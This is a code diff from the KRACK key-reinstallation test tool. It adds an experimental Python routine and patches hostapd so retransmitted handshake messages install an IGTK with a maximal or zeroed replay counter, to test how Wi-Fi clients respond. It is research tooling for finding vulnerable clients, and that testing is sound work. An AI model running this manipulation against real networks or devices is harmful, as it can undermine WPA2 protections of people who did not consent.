krackattacks: experimental code for IGTK installation

krackattack/krack-test-client.py

@@ -383,6 +383,22 @@ class KRAckAttackClient():
 		log(INFO, "%s: sending broadcast ARP to %s from %s (sent %d ARPs this interval)" % (client.mac,
 			clientip, self.broadcast_sender_ip, client.broadcast_requests_sent))
 
+	def experimental_test_igtk_installation(self):
+		"""To test if the IGTK is installed using the given replay counter"""
+		# 1. Set ieee80211w=2 in hostapd.conf
+		# 2. Run this script using --gtkinit so a new group key is generated before calling this function
+
+		# 3. Install the new IGTK using a very high given replay counter
+		hostapd_command(self.hostapd_ctrl, "RESEND_GROUP_M1 %s maxrsc" % client.mac)
+		time.sleep(1)
+
+		# 4. Now kill the AP
+		quit(1)
+
+		# 5. Hostapd sends a broadcast deauth message. At least iOS will reply using its own
+		#    deauthentication respose if this frame is accepted. Sometimes hostapd doesn't
+		#    send a broadcast deauthentication. Is this when the client is sleeping?
+
 	def configure_interfaces(self):
 		log(STATUS, "Note: disable Wi-Fi in network manager & disable hardware encryption. Both may interfere with this script.")
 
@@ -464,6 +480,8 @@ class KRAckAttackClient():
 
 				self.next_arp = time.time() + HANDSHAKE_TRANSMIT_INTERVAL
 				for client in self.clients.values():
+					#self.experimental_test_igtk_installation()
+
 					# 1. Test the 4-way handshake
 					if self.options.variant == TestOptions.Fourway and self.options.gtkinit and client.vuln_bcast != ClientState.VULNERABLE:
 						# Execute a new handshake to test stations that don't accept a retransmitted message 3

src/ap/wpa_auth.c

@@ -4736,8 +4736,9 @@ int wpa_auth_resend_m3(struct wpa_state_machine *sm,
 	opos = pos;
 	pos = ieee80211w_kde_add(sm, pos);
 	if (pos - opos >= WPA_IGTK_KDE_PREFIX_LEN) {
-		opos += 2; /* skip keyid */
-		os_memset(opos, 0, 6); /* clear PN */
+		poc_log(sm->addr, "Msg 3/4: including IGTK with %s RSC\n", maxrsc ? "max" : "zero");
+		opos += 2 + RSN_SELECTOR_LEN + 2; /* skip KDE header and keyid */
+		os_memset(opos, maxrsc ? 0x88 : 0, 6); /* clear PN */
 	}
 #endif /* CONFIG_IEEE80211W */
 
@@ -4843,8 +4844,9 @@ int wpa_auth_resend_group_m1(struct wpa_state_machine *sm,
 		opos = pos;
 		pos = ieee80211w_kde_add(sm, pos);
 		if (pos - opos >= WPA_IGTK_KDE_PREFIX_LEN) {
-			opos += 2; /* skip keyid */
-			os_memset(opos, 0, 6); /* clear PN */
+			poc_log(sm->addr, "Group message 1: including IGTK with %s RSC\n", maxrsc ? "max" : "zero");
+			opos += 2 + RSN_SELECTOR_LEN + 2; /* skip KDE header and keyid */
+			os_memset(opos, maxrsc ? 0x88 : 0, 6); /* clear PN */
 		}
 #endif /* CONFIG_IEEE80211W */
 		kde_len = pos - kde;